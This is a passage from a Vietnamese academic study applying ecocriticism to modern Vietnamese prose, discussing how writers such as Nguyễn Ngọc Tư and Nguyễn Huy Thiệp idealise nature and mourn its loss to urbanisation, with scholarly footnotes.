trụ mới là mục đích chân chính nhất. Phò vua giúp đời chỉ là nghĩa vụ trong chốc lát
còn tâm thế họ vẫn hướng về tự nhiên sâu thẳm trời xanh mây trắng vĩnh cửu muôn
đời. Phải vậy chăng mà Lí Bạch tâm sự :
Đãi ngô tận tiết báo minh chủ
Nhiên hậu tương huề ngọa bạch vân
(Chờ ta tận tiết báo đền ơn minh chủ
Sau đó sẽ cùng nhau về nằm nơi mây trắng)
(Tặng Trương Tương Cảo – Lí Bạch)
Sự hóa thân vào tự nhiên để được gột rửa là motif quen thuộc trong văn
chương phương Đông. Chỉ khi hòa nhập vào tự nhiên con người mới thấy thanh thản,
bình yên, tĩnh lặng; mới được cứu rỗi khỏi những muộn phiền, hệ lụy của đời sống
phồn tạp. Người Ấn Độ từ cổ xưa đến nay đều thực hành nghi lễ tắm nước sông Hằng
vì quan niệm nước sông có thể thanh tẩy. Họ cũng cho rằng thần lửa Anhi thiêu cháy
tất cả để trở nên trong sạch. Vậy là, trong tâm thức Ấn, thiên nhiên có thể gột rửa
được tội lỗi, khiến con người có thể trở nên thanh khiết. Trước thái độ hờn ghen của
Rama, Sita đã hai lần chứng minh tấm lòng nàng, lần thứ nhất là với thần lửa Anhi, lần
thứ hai xin được trở về đất mẹ, hóa thân vào luống cày, nơi mà cô đã sinh ra. Môtif
hóa thân vào tự nhiên được thể hiện trong văn học phương Đông qua rất nhiều dạng
thức khác nhau : có thể là sự rẽ nước xuống biển của An Dương Vương, là hành động
bay về trời xanh vĩnh cửu của Thánh Gióng, là biến thành trầu cau vôi, thành chim
vàng anh, cây xoan đào, quả thị…, và cũng có thể là sự trở về kiếp cây Giáng Châu của
Lâm Đại Ngọc khi dứt khỏi mối sầu muộn ở dương thế…
Một cái nhìn sơ lược như vậy để thấy, thiên nhiên là nguồn cảm hứng bất
tận của văn học phương Đông. Văn học Việt Nam, tâm hồn Việt Nam luôn giữ niềm
yêu cây cỏ từ cội rễ Đông phương như vậy. Nhưng, hiện tại, “Đông Á đã là nơi của
một số các vấn đề và các cuộc khủng hoảng môi trường khó khăn nhất trên thế
giới”1
. Trong xã hội hiện đại, ỷ lại vào khoa học kĩ thuật, người phương Đông đang
khai thác tự nhiên quá mức khiến cho tự nhiên ngày càng biến mất khỏi đời sống.
Dường như người phương Đông đang phần nào rời xa truyền thống hòa hợp tự
nhiên. Trong khi đó, người phương Tây lại nhận ra, chính thái độ độc đoán của tư

1
Thornber K.(2011), Ecocriticism and Japanese Literature of the Avant-Garde,
http://interlitq.org/issue8/karen_thornber/job.php
126
tưởng duy nhân là nguyên nhân dẫn tới sự khủng hoảng của môi trường hiện tại,
nên tìm cách điều chỉnh thái độ với tự nhiên, tìm về với tư tưởng hòa hợp tự nhiên
truyền thống phương Đông để tìm giải pháp tư tưởng cho việc bảo vệ vạn vật
trong tự nhiên và duy trì sự cân bằng của hệ sinh thái. Như vậy, ở điểm này, phê
bình sinh thái đã tạo nên hợp lưu Đông – Tây. Trong một thế giới phi trung tâm của
hoàn cảnh hậu hiện đại, phương Tây từ bỏ cái trung tâm luận là con người như từ
bỏ quá khứ vĩ đại để học cách hòa hợp với tự nhiên, thì người phương Đông sực
tỉnh sau ánh hào nhoáng của văn minh kĩ kị, đã tìm lại chính quá khứ ngàn đời của
mình, phương Đông cũng đang tìm cách quay trở về với những giá trị vĩnh hằng
của tâm thức hòa hợp tự nhiên. Trở về với tư tưởng phương Đông không thể là
giải pháp toàn diện cho những vấn đề môi trường nhưng bằng cách đó, phần nào
giữ gìn cho nhân loại khỏi trượt xa trong cách cư xử lí trí, thiếu tôn trọng với tự
nhiên.
4.2 Mĩ hóa, lí tưởng hóa cái tự nhiên
Kate Rigby khẳng định vai trò của nhà văn đối với tự nhiên: “khi thế giới của
chúng ta đang dần trở nên nghèo nàn hơn bao giờ hết, bị máy móc hóa theo công
nghệ hơn bao giờ hết, thì cũng là lúc chúng ta rất cần những nhà văn, những người
nghệ sĩ – những người có năng lực hướng chúng ta tới cái Đẹp, tới việc nhận ra sự
mong manh tiềm ẩn của Trái đất, hòa giải “những tiếng nói” của những kẻ Khác phi
nhân” – những kẻ mà chúng ta gần như chẳng bao giờ có thể hiểu được sự tồn tại và ý
nghĩa của chúng một cách đầy đủ, và đôi khi vẫn mời gọi chúng ta tham gia vào bản
đồng ca lạ thường của chúng”1
. Vậy nên, bên cạnh những trang viết đậm cảm hứng
phê phán khi chỉ ra căn nguyên của những thảm họa môi trường thì văn học mô tả vẻ
đẹp của tự nhiên cũng là giúp chúng ta hướng đến cái đẹp, bằng cách đó khơi dậy trở
lại niềm yêu với cây cỏ để gìn giữ, yêu thương và che chở cho thế giới tự nhiên.
Khám phá vẻ đẹp của thiên nhiên
Văn học Việt Nam sau một thời gian dài mải mê với hiện thực cõi nhân sinh
với những đề tài thời sự: chiến đấu, mặt trái của hiện thực, những vấn đề cá nhân,
tính dục… khiến cho tinh thần sinh thái trong văn học gần như vắng bóng. Dường
như “ít có bóng cây cỏ trên đường đi của lũ nhân vật” (Cây Hà Nội – Nguyễn Tuân).

1
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
127
Sự thiếu vắng tự nhiên khiến cho môi trường văn học trở nên ngột ngạt bởi quá
nhiều những đề tài thiên về phê phán những tiêu cực trong xã hội với những toan
tính, lọc lừa, xảo trá của đời sống cuống quýt, vội vã. Vậy nên, việc về với tự nhiên
đã làm “xanh” một khoảng không gian văn học, từ đó đề xuất cho chúng ta nhiều
vấn đề trước Mẹ Trái Đất và giúp chúng ta nhận ra rằng, khi loài người càng trưởng
thành càng phải nhận ra mình đã phũ phàng với thiên nhiên, nơi mà con người lớn
lên, gắn bó và đặt niềm hi vọng vào đó.
Khám phá ra vẻ đẹp của tự nhiên, chỉ cho nhân loại thấy cái đẹp huyền diệu
của tạo hóa cũng là cách mà phê bình sinh thái muốn hướng tới. Cách mà phê bình
sinh thái muốn đề xuất ở đây là, mỗi khi nhìn thấy vẻ đẹp của thiên nhiên, thưởng
ngoạn nó, người ta sẽ có nhu cầu gìn giữ nó. Sở dĩ lâu nay chúng ta quay lưng lại
với tự nhiên vì chúng ta chỉ nhìn thấy những giá trị kinh tế của tự nhiên mà không
nhận ra đời sống tinh thần, cái tâm linh đằng sau thiên nhiên. Nguyên Ngọc đã
từng nói rằng “Ở U Minh, cũng như ở Tây Nguyên có một nền văn hóa rừng, do
những con người đã ngàn đời chung sống hài hòa với rừng xây dựng nên”1
.
Văn học giai đoạn 1945 – 1975 ít nói đến chiều kích bí ẩn của thiên nhiên
như một tiếng nói độc lập. Thiên nhiên có thể hùng vĩ, tráng lệ, oai hùng (Chiều
chiều oai linh thác gầm thét) nhưng không bí ẩn vì thiên nhiên có cùng tiếng nói
với con người, có giá trị thực dụng (là những khó khăn hoàn cảnh con người phải
vượt qua, là biểu tượng của sức sống con người). Văn học sau năm 1975 viết về sự
bí ẩn của thiên nhiên là đi tìm sự cân bằng để vượt thoát khỏi một thế giới đã trở
nên cộc cằn, mệt nhọc, độc ác, nhàm chán và bất an thời hậu chiến. Do vậy, những
trang văn xuôi này gắn thiên nhiên với tôn giáo, với tư tưởng thiêng hóa, sùng bái,
sùng thượng tự nhiên. Nói đến chiều kích bí ẩn của tự nhiên là để con người cảm
nghe cái huyền nhiệm của vũ trụ. Nếu đánh mất nó, tâm hồn con người chỉ còn lại
nhọc nhằn và cằn cỗi. Từ đó, văn học tái diễn lại motif xưng tụng đồng quê, xưng
tụng chốn ẩn dật. Một nhân vật người nước ngoài đã cảm nhận về mối quan hệ
giữa con ngýời và tự nhiên trong Mẫu thượng ngàn (Nguyễn Xuân Khánh) “Ở xứ
này, chỗ nào, nhà nào cũng thờ thần Đất, đất cũng có hồn, đó là hồn Đất. Nó là
tổng hợp của những hồn người, hồn ma, hồn cây cỏ, ao hồ, cả hồn đá nữa.(…) Họ
tôn sùng sự bí ẩn thiêng liêng của tất cả thiên nhiên… đó là vì người dân ở xứ này
biết hòa vào thiên nhiên”. Tác phẩm ám ảnh độc giả bởi cây đa đầu làng với những

1 Nguyên Ngọc (2006), Nghĩ dọc đường, NXB Văn nghệ, Tp Hồ Chí Minh, tr 290.
128
huyền tích; tục lót ổ trong hang đá gợi về một cách sống gần với tự nhiên nguyên
sơ; ca ngợi những con người sống gần gũi tự nhiên: cái cảm tinh tế của cả Huyền
với mùi ẩm mục lan tỏa khi uống nước mưa từ thân cây cau, là ông đồ Tiết sống
thanh bạch trong khu vườn cây quả và ngát hương mật ong… Nguyễn Huy Thiệp
trong các truyện ngắn Thương nhớ đồng quê, Những bài học nông thôn, Con gái
thủy thần, Chảy đi sông ơi… đã mô tả sự cảm nhận của nhân vật về bí ẩn của vũ
trụ: khoảnh khắc Nhâm nhìn lên bầu trời; trường đoạn Hiếu thả diều cùng gia đình
Nhâm quên đi tất cả mọi ràng buộc của đời sống để hòa nhập vĩnh viễn vào không
gian nhẹ nhàng mà bí ẩn; Chương đi tìm con gái thủy thần; “tôi” giữ trong lòng cái
huyền hoặc về truyền thuyết con trâu mộng…
Nhiều sáng tác sau năm 1975 viết về những tâm hồn mê đắm thiên nhiên, thể
hiện tình yêu với những sinh mệnh mong manh như cỏ cây, muông thú… Trong sự
gần gũi với đất trời, sông biển, hoa lá, loài vật… con người trở nên hiền hoà, an lạc,
thư thái. Mĩ cảm của con người thức dậy. Có một môtif về kiểu nhân vật mê đắm tự
nhiên. Trong truyện ngắn của Dương Duy Ngữ, cụ Mộng Tiên (Tầm lan), cụ Chi Láng
Thượng (Tuyệt chiêu), chủ vườn lan (Tiệc hoa) say đắm hoa lan, thậm chí, đến nỗi
quên yêu cả con người “Say lan, yêu lan đến mức ngoại tứ tuần vẫn chưa chọn được
bạn đời” (Đặc sắc vườn lan). Cụ cử Hàn trái lệnh vua Minh Mạng, suýt nguy hiểm đến
tính mạng khi kiên quyết giữ chậu Đại Mặc chứ nhất định không cung tiến “Quân tử
dẫu chết cũng không bỏ nhau” (Mặc Phúc Xuyên). Loài hoa đẹp và thơm một cách quý
phái ấy thức dậy niềm yêu cái đẹp, chủ nhà Tiệc hoa mê lan hoàng vũ quá, thức cả
đêm để xem vũ điệu đón ánh mặt trời quay trở lại điểm xuất phát như thế nào. Khi
lặng ngắm tự nhiên, giao hoà cùng thiên nhiên, con người trở nên thanh thản, bay
bổng cùng vẻ đẹp của tạo hóa bởi thiên nhiên đã nuôi dưỡng, gìn giữ phần nhân tính
tốt đẹp của con người. Vĩnh (Sầu trên đỉnh PuVan, Nguyễn Ngọc Tư) ngược núi ngắm
cánh sầu đông nở hoa bằng một thái độ chiêm bái trước tự nhiên huyền bí. Từ chối
trở về cuộc sống hàng ngày dưới kia đầy đau đớn, mệt nhọc, chán chường, anh lựa
chọn cái chết giữa tự nhiên. Những cách hoa vô tư, sáng trong đã giúp Vĩnh trút bỏ
được nỗi ưu phiền, nặng nợ trần gian của chàng trai thành phố với trái tim u sầu, mệt
mỏi. Bằng (Thềm nắng sau lưng, Nguyễn Ngọc Tư) khao khát được thả mình giao hòa
với thiên nhiên, nghe “bìm bịp kêu thâm u trong bờ dừa nước” quên mất lời hứa với
má, “thả xuồng trôi dập dềnh trên chùm gọng, đang nói tiếng chim giữa chơi vơi nước
lớn”. Phiên (Khói trời lộng lẫy, Nguyễn Ngọc Tư), cậu bé sáu tuổi, “không nhổ cải bán
129
vì tội nghiệp và kết quả là tôi có một giồng bông cải thắp nắng lộng lẫy giữa mùa mưa
(…) những con cá mang bụng no tròn sẽ được chúng tôi trả lại cho sông”.
Tư tưởng cơ bản của phê bình sinh thái là coi thiên nhiên như một chỉnh thể
thống nhất hữu cơ. Con người là một động vật tồn tại và nâng cao trên cơ sở của tự
nhiên đó. Con người cần bảo vệ tự nhiên, phá hoại tự nhiên là phá hoại chính mình.
Vậy nên tất cả những người làm việc ở Viện Di sản thiên nhiên và con người là những
kẻ mê mải với tự nhiên, những nhân vật dấn thân để gìn giữ vẻ đẹp của tạo hóa. Em –
Di lúc nào cũng “ăn gấp, thở gấp, ngủ gấp” vì “đi níu kéo những mong manh”, Anh –
một “kẻ nghiện rừng”, Nhứt – “mê đắm những những xóm làng miên man bên bờ
sông Ngó Ý”, Trúc – “gắn bó duy nhất với vùng đất Thổ Sầu”… Tất cả đều “lắng nghe
thiên nhiên nói” để “cất giữ những hoa lau óng chuốt dưới nắng, có đàn cò trắng bay
qua trăng chiều, mớ lục bình rách nát trôi ra trước cửa biển (…) dấu mưa xoi khuyết
những viên gạch trần, hoa bìm bìm lợp tím rịm cả một chòm cây, vạt rừng bướm bay
như trấu vãi…”. Là mùa hoa dẻ thơm lừng dọc bến sông (Ơi đò ca cút, Trần Thanh Hà),
là những cánh đồng tam giác mạch (Đỗ Bích Thúy)… Cảnh thiên nhiên mà Phùng
(Chiếc thuyền ngoài xa, Nguyễn Minh Châu) săn được, là một cảnh tuyệt đẹp, trong
đời làm nghệ thuật anh chưa hề chộp được, giống như “Một bức tranh mực tầu của
danh họa thời cổ”. Đứng trước tuyệt tác ấy người nghệ sĩ “Trở nên bối rối, trong tim
như có một cái gì bóp thắt vào”. Bức ảnh có một không hai trong cuộc đời làm nghề
nhiếp ảnh đó đã khiến Phùng rung động thực sự, trong cái giây phút ngắn ngủi chính
anh như “Vừa khám phá thấy cái chân lý của sự toàn thiện, khám phá thấy cái khoảnh
khắc trong ngần của tâm hồn”. Bức ảnh gột rửa tâm hồn của người cảm nhận nó, giúp
hướng về những chân thiện của cuộc đời.
Nhiều tác phẩm văn xuôi sinh thái mô tả tình yêu của con người phát xuất từ
tình yêu với thiên nhiên, khi hai người gắn bó với nhau nghĩa là tâm hồn cộng cảm với
tự nhiên. Tình cảm của Hiền và người yêu gắn bó với rừng: “Tình yêu rừng của anh lan
tỏa sang tôi, khiến tôi có cảm giác cả rừng, cả thiên nhiên như tan chảy vào tôi. Nó
khiến tôi biết tin anh, tin vào chung thủy, tin vào bầu trời, mặt đất cỏ cây – những thứ
không bao giờ biết phản bội” (Tiếng rừng, Hiền Phương). Trong truyện của Nguyễn
Quang Thiều, tình yêu được cất lên đầy thơ mộng với hình ảnh của thiên nhiên: Chinh
– Thao và mùa hoa cải bên sông (Mùa hoa cải bên sông). Cụ ông – cụ bà và những đêm
trong hầm bí mật và hoa tầm xuân (Chiều hoa tầm xuân); cảm giác sinh sôi của mùa cá
vật cùng chia sẻ với Hưng – Lựu niềm ân ái hân hoan (Mùa cá vật); những cây rau khúc
130
đầy hoài niệm (Hương khúc nếp cuối cùng), đêm trăng sáng rỡ ràng, huyền hoặc
(Người nhìn thấy trăng thật)…
Thiên nhiên giúp cho người sống phong phú và phóng khoáng. Thiên nhiên
giúp con người ta giao tiếp với cái ngoài nó, làm cho tâm hồn trở nên rộng rãi và
khoáng đạt: tình yêu cỏ cây của lão Khúng, tình yêu loài vật của bé Hồng, cô bé
ngại di chuyển, khi còn nhỏ thường bỏ vào thùng thư một chiếc lá sấu vào đêm
giao thừa, sau này trở thành nhà văn… Mỗi người khi biết lắng nghe cây cỏ sẽ làm
giàu có cho tâm hồn của nh “Từ giữa phố phường chật hẹp, đông đúc có bao giờ
các bạn đi ra sông Hồng nghe tiếng hát của phù sa và bờ bãi? Đã bao giờ các bạn
dừng bước trên hè phố nâng một cành cây gãy?…” (Sống mãi với cây xanh, Nguyễn
Minh Châu). Lão Khúng cảm nhận thật tinh tế mái tóc và hơi thở của Nghiên “Phả
ra mùi của các loài cây cỏ rất tươi non của đồng nội, vừa đắng vừa ngọt”, mang
dấu vết vĩnh cửu của thiên nhiên “Cái mùi cỏ ống vừa cắt, cả mùi đất rừng hoang
dã rất xa xưa đã ngủ kỹ trong ký ức của lão nhiều năm về trước” (Phiên chợ Giát,
Nguyễn Minh Châu). Chỉ có người nông dân suốt đời gắn bó với đất đai bằng máu
thịt, bằng tình yêu mới cảm nhận được từ thân thể đứa con thân yêu của mình
những dấu vết của tự nhiên quen thuộc mà huyền nhiệm.
Thiên nhiên thanh lọc tâm hồn con người. Một số truyện ngắn Nguyễn Huy
Thiệp mang chất trữ tình rất đậm. Đó là nhờ những trang văn có bóng dáng của thiên
nhiên. Đôi khi những câu văn thoảng qua tưởng chừng như rất bâng quơ về thiên
nhiên nhưng lại khiến không khí dịu lại, đầy thơ mộng. Những người thợ xẻ chủ yếu
viết về sự lọc lừa, dối trá, ích kỉ… nhưng lại có cảm nhận về cái đẹp vĩnh hằng của tạo
hóa “Này hoa ban, 1000 năm sau mày có trắng như thế không?”. Cảm nhận này
dường như chẳng liên quan mấy đến nội dung của truyện, nhưng lại lặng lẽ tươi mát
như suối nguồn tự nhiên nâng đỡ những thân phận khốn khổ qua những bùn đen mệt
nhọc của đời. Nhân vật của Nguyễn Ngọc Tư thường rất tình nghĩa dù cho vẻ ngoài có
thể ngạo ngược. “Anh” phải chịu sự ràng buộc của các mối quan hệ xã hội, chịu sức ép
về tinh thần, hiện lên trước mắt Di trơ khấc, lạnh lùng, kiêu bạc của nhiều mặt nạ – vai
Viện phó Viện Di sản thiên nhiên và con người, vai người chồng người cha cả người
tình hoàn hảo thì vẫn có lúc mềm lòng rũ bỏ cái áo khoác ngoài lạnh lẽo đó khi khóc
cho những cách rừng bị tàn phá: “Anh mướn vai tôi để vùi yếu mềm vào đó, cũng có
cánh rừng qua đời”. Trước thiên nhiên, con người đã bộc lộ phần nhân tính tốt đẹp,
sáng trong không chút vẩn mà đôi khi bị những hệ lụy của đời phủ kín. Thiên nhiên
131
cứu rỗi tâm hồn, thiên nhiên thanh sạch gột rửa tội lỗi, lọc đi những thù hận (Tình
biển, Đoàn Lê).
Cảm thức hậu chiến khiến cho con người cảm thấy ngột ngạt, đau khổ, bất
an, thêm vào đó là những vỡ mộng, dở dang. Điều này đã được Bảo Ninh, Chu Lai,
Lê Minh Khuê, Dương Hướng… thể hiện rất thành công. Tuy nhiên, có những nhân
vật đi ra ngoài những hệ lụy đời sống ấy, tìm lấy sự thanh thản giữa thiên nhiên
nhiên cây cỏ. Cô gái thanh niên xung phong sống tự tại giữa rừng cây mà cô đã
trồng, mỗi cái cây là một người lính đã đi qua ngôi nhà của cô; sau cuộc chiến có
người đã hi sinh, có người đã trở về quê còn cô vẫn ở đó, an nhiên, tự tại (Người
đàn bà khoanh tay mỉm cười, Nguyễn Phan Hách), cô y sĩ rời cuộc chiến trở về với
vết thương vĩnh viễn cướp đôi chân, hạnh phúc cá nhân dang dở, cô chọn bến sông
để sống tiếp cuộc đời an lành và thanh thản (Người ở bến sông Châu, Sương
Nguyệt Minh), người lính không trở về quê hương mà ở lại ngọn đồi của trận chiến
cuối cùng, trồng lên những cây xanh xóa đi vết thương của chiến tranh trên mặt
đất (Lời hứa của thời gian, Nguyễn Quang Thiều). Trong Miền cỏ hoang (Trần
Thanh Hà) người chú của nhân vật tôi ra chiến trường thay thế cho anh trai, sau
cuộc chiến, khi trở về không đòi hỏi bất cứ điều gì, chọn vùng đất khô cằn đầy năn
lác mà trồng lên sự sống…
Khi soi vào thiên nhiên, con người nhìn nhận lại, tự vấn lại mình. Vậy nên người
cha (Chuồn chuồn đạp nước, Nguyễn Ngọc Tư) khi không thể giúp con gái câu trả lời:
“chuồn chuồn đạp nước là gì?” trong một chương trình trò chơi trên truyền hình, ông
đã rất boăn khoăn. Tự nhiên trong dòng đời đua chen vội vã, đầy ganh ghét tị hiềm, ông
dừng lại suy tư : “cha chạy xe về quê. Cha ngồi trong khoảng vườn đượm nắng chiều,
nơi cha vẫn thường về khi mệt mỏi hay căng thẳng, tuyệt vọng, nhìn chuồn chuồn đậu
trên đám chà trong ao, cào cào búng trên những bụi cỏ ống, mấy con ong ve vãn bông
đậu bắp” và ông nhận ra mình đã quên đi gốc gác, quên đi tuổi thơ mê mải cùng thiên
nhiên “tụi chuồn chuồn đã chơi với mình suốt một tuổi thơ sao không đẻ cho mình
thấy, hay mình từng thấy nhưng cuộc sống thành thị khiến mình quên đi (…) có quá
nhiều chuyện nhân tình thế thái mà cha không quên, có nhiều thằng cha xỏ lá cà khịa
đâm sau lưng cha, đáng lẽ nên quên… để đời nhẹ nhõm”. Thiên nhiên khiến ông trở
nên day dứt về tâm hồn trong trẻo ấu thơ đã mất mát với thị thành, với nhân thế.
Thiên nhiên giúp con người nhìn lại mình, dừng lại lắng nghe tiếng nói từ tự
nhiên để hiểu chính mình, tự suy xét để sống thanh thản nếu không sẽ đánh mất bản
132
thân trong những đua chen vội vã của cõi người. Đó là hành trình trở về với tự nhiên, xa
lánh những phồn tạp, ồn ào, huyên náo của đô thị. Motif trở về với thiên nhiên, sống
chậm lại để cảm nhận bản tính hồn nhiên, trong trẻo của mình có rất nhiều trong thơ
văn Nguyễn Duy, Nguyễn Quyến, Ngân Hoa, Dương Kiều Minh, Nguyễn Quang Thiều,
Nguyễn Huy Thiệp, Nguyễn Ngọc Tư, Đỗ Bích Thúy…
Tự muôn đời, thiên nhiên luôn là nguồn an ủi. Mỗi khi thấy lòng đau, con người
lại tìm về tự nhiên như một bến bờ tĩnh lặng để nguôi quên. Như người bạn lớn thủy
chung vĩnh hằng, thấu hiểu, sẻ chia trong im lặng, thiên nhiên giúp vợi bớt những muộn
phiền, day dứt, đau đớn của con người. Chủ nghĩa nhân văn mới do phê bình sinh thái
đề xuất là không tách rời thiên nhiên và văn hóa, cần nối lại mạch sống ngàn đời của
con người với tự nhiên, coi con người là một phần cộng sinh của tạo hóa, là vì lẽ đó.
Hoài cảm về thiên đường tự nhiên đã mất
Có những giai đoạn cây xanh bị đuổi ra khỏi không gian nghệ thuật, “Viết hay
vẽ nhiều về thiên nhiên, người ta cho là tiêu cực, là hưởng lạc, là “ngắm rớt”, là
“trốn” vào thiên nhiên”1
, những trang viết tuyệt vời của Thơ Mới về đề tài thiên
nhiên bị kết án. Văn học, nếu có nói đến thiên nhiên là cảm hứng về sự chinh phục,
kiểu “Bàn tay ta làm ra tất cả/ có sức người sỏi đá cũng thành cơm” (Hoàng Trung
Thông). Thiên nhiên là đối tượng khách quan để làm tăng thêm vẻ đẹp con người,
qua đó để ca ngợi ý chí của con người đã vượt gian khó của thiên nhiên. Cũng chính
từ đây, con người lại phải “trải qua một cảm giác lịch sử : cảm giác thiếu thiên
nhiên”2
. Nay văn học trở lại với các đề tài tự nhiên, nhưng không phải chỉ để thể
hiện tình yêu đối với thiên nhiên trong văn học giai đoạn trước, như Nguyễn Tuân,
Vũ Bằng, Sơn Nam, Đoàn Giỏi… từng tự hào về quê hương giàu đẹp, sản vật phong
phú mùa nào thức nấy, mà thể hiện một niềm khắc khoải với những nguy cơ sinh
thái, bày tỏ nỗi đau đớn vì những vẻ đẹp tự nhiên ngày một biến mất…
Theo Karen Thornber, thời kì đầu phê bình sinh thái chủ yếu “tập trung vào
những biểu đạt văn chương về thế giới và tự nhiên”, về sau “văn chương có ảnh
hưởng quan trọng đến sự hiểu biết về biến đổi môi trường trong quá trình đô thị
hóa và công nghiệp hóa” cụ thể ở các nghiên cứu có tầm ảnh hưởng như Cỗ máy
và khu vườn (Leo Marx) hay Đồng quê và thành thị (Raymond Wiliam) về truyền

1 Nguyễn Đăng Mạnh (2008), “Cảnh sắc và hương vị đất nước qua văn Nguyễn Tuân”, Tuyển tập phê bình
văn học, NXB Đà Nẵng, tr 222.
2
Lê Ngọc Trà (2007), Văn chương, thẩm mĩ và văn hóa, NXB Giáo dục, Hà Nội, tr 399.
133
thống đồng quê trong văn học Anh Mĩ hay sự tập trung thời kì đầu của phê bình
sinh thái vào hình tượng đồng quê, vào chủ nghĩa lãng mạn Anh Mĩ (1780-1860) đã
đưa ra một nhận định sắc sảo “hoàn toàn không phải ngẫu nhiên mà nó trùng với
thời kì tăng tốc của cách mạng công nghiệp”1
. Điều này dường như cũng đúng với
văn học Việt Nam. Không phải ngẫu nhiên mà sau thời kì đổi mới, rất nhiều tác
phẩm, tác giả đặt ra vấn đề mối quan hệ giữa con người và tự nhiên trong thời đại
đô thị phát triển mạnh. Trong thơ, có khuynh hướng “ngược về ngoại ô”, trong văn
xuôi, những tác phẩm của Nguyễn Minh Châu, Nguyễn Huy Thiệp, Ma Văn Kháng,
Nguyễn Quang Thiều, Đỗ Bích Thúy, Phạm Duy Nghĩa… lại đặt ra vấn đề “Trong sự
gia tăng của đô thị, những sáng tác về tự nhiên đóng vai trò sống còn trong việc
giáo dục chúng ta về những giá trị của thế giới tự nhiên”2
.
Con người thời hiện đại luôn cảm thấy ngột ngạt với nền văn minh đô thị.
Cách mạng công nghiệp bên cạnh những ưu thế rất rõ, còn dẫn đến niềm tin mù
quáng vào công nghệ, đến trạng thái bất an thường trực bởi ô nhiễm, thiên tai,
dịch bệnh… luôn rình rập, bủa vây. Quay trở lại, tìm đến đời sống tự nhiên an lành,
bình lặng chính là một cách phản ứng với cuộc sống bất an hiện thời. Trở về với tự
nhiên chất phác, với giấc mơ thời thơ bé, với nguồn cội nguyên sơ, là một phương
cách giữ gìn nhân tính. Niềm hoài niệm không nguôi về làng quê, nơi gìn giữ những
kỉ niệm ấu thơ và một nền văn hóa cổ xưa mang nhiều giá trị tinh thần, nhưng đã ít
nhiều phôi pha là những ám ảnh khôn nguôi trên những trang văn của Nguyễn
Quang Thiều, Đỗ Bích Thúy, Sương Nguyệt Minh, Duy Khán, Dương Duy Ngữ…
Trước sự xoay vần của nền kinh tế thị trường, nhiều nhân vật trong truyện
ngắn Dương Duy Ngữ đã níu kéo vẻ đẹp xưa bằng một tấm lòng thương hoa tiếc
nguyệt như là cách phản ứng lại. Cụ Chi Láng Thượng (Tuyệt chiêu), cụ Mộng Tiên
(Tầm lan), gia đình Mặc Phúc Xuyên (Mặc Phúc Xuyên), dòng họ Đình Giáp (Cổ lan)…
thường giữ độc quyền về các loài địa lan quý và lạ, không trao đổi, không bán dù có
đắt đến đâu (có những lúc mỗi dẻ địa lan giá 2 cây vàng, bằng cả một gia tài…),
không xem hoa như một món hàng. Việc cụ Chi Láng Thượng nghiền nát những củ
lan già khi thay chậu, không muốn giống địa lan của mình trở thành “lan đại trà”;

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
2
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
134
Cường đặt những chậu lan Tàu cấy mô tràn ngập thị trường “dành cho người kinh
doanh” bên cạnh những chậu địa lan quý hiếm thể hiện một thái độ đầy hàm ý về
việc cần gìn giữ bản sắc của những vẻ đẹp truyền thống trước những cạm bẫy của
kinh tế thị trường, cái đẹp cần tránh xa nền công nghiệp cái gì cũng sản xuất hàng
loạt. Các loài địa lan trong truyện Dương Duy Ngữ đều có gốc gác: cây địa lan gia phả
của dòng họ Nguyễn Giáp ở làng Định 13 đời (Cổ lan), chậu địa lan của cụ Mộng Tiên
đã truyền được 5 đời (Tầm lan), cây Đại Mặc của gia đình Phúc Xuyên có từ thời vua
Minh Mạng (Mặc Phúc Xuyên)…, gốc gác của địa lan như là cội rễ vậy, cây ở với
người, trở thành một phần của gia đình, dòng tộc vậy nên nó là cội nguồn, là kí ức.
Khi đánh mất sự gắn kết với cây cối là mất đi quá khứ.
Đô thị đã đẩy thiên nhiên đi xa, khiến cho nhiều cánh đồng, nhiều dòng
sông bị bức tử, nhiều vẻ đẹp cũ xưa bị mai một. Các tác giả khóc thương cho
những cánh đồng rau khúc, những mùa thị thơm ngát, những hồ sen… Hương khúc
nếp cuối cùng của Nguyễn Quang Thiều hoài nhớ “Làng tôi đã trù phú hơn nhiều.
Người hái rau khúc vẫn còn tuy có ít hơn xưa. Họ hái rau khúc làm bánh như một
phong tục, như sự hồi tưởng của kí ức”. Sâm cầm Hồ Tây (Sương Nguyệt Minh)
miêu tả một quang cảnh chỉ còn là kí ức “Ngày trước, hồ Tây còn rộng và hoang sơ
hơn bây giờ nhiều. Sóng nước hồ Tây đêm ngày ì oạp vỗ vào bờ đất, nhiều chỗ bị
lở sạt. Lau lách, năn lác mọc um tùm, rau muống dại kết thành bè thành mảng
xanh sẫm, nở hoa tím trắng. Mòng két, vịt trời, le le làm tổ kêu rộn rã cả trời chiều
và tiếng cuốc kêu trưa hè nghe khắc khoải đến xót lòng”. Còn hình ảnh sâm cầm
chan hòa với con người chỉ còn tồn tại trong niềm tiếc nuối “Qu{ người nên Sâm
cầm bơi lội nhởn nhơ quanh thuyền nghiêng ngó (…) Người hiền lành như chim và
chim cũng lành hiền như người”.
Con người đô thị bị giam cầm trong một thành phố ngột ngạt bê tông không
ngừng tiếc nhớ về một khoảng trời xanh và rợp bóng chim : “Những con chim sẻ
hằng ngày ríu ran trong các mảnh vườn ổi, vườn cam, vườn nhãn. Những con chim
có bộ lông nâu pha xám treo mình như những quả chuông trên những cọng lúa
đang chín vàng. Những con chim mỏ sừng đen nhánh túc tích trong những chân rạ
ải tìm bắt sâu bọ (…) Những con chim sẻ đã giúp cô Tấm nhặt thóc ra thóc gạo ra
gạo để cô kịp đi dự lễ hội vua mở trong cổ tích Tấm Cám. Những con chim sẻ hiền
lành tốt bụng” (Bà cụ cần và đàn chim sẻ, Ma Văn Kháng). Bác Kiên gái (Chuyến đi
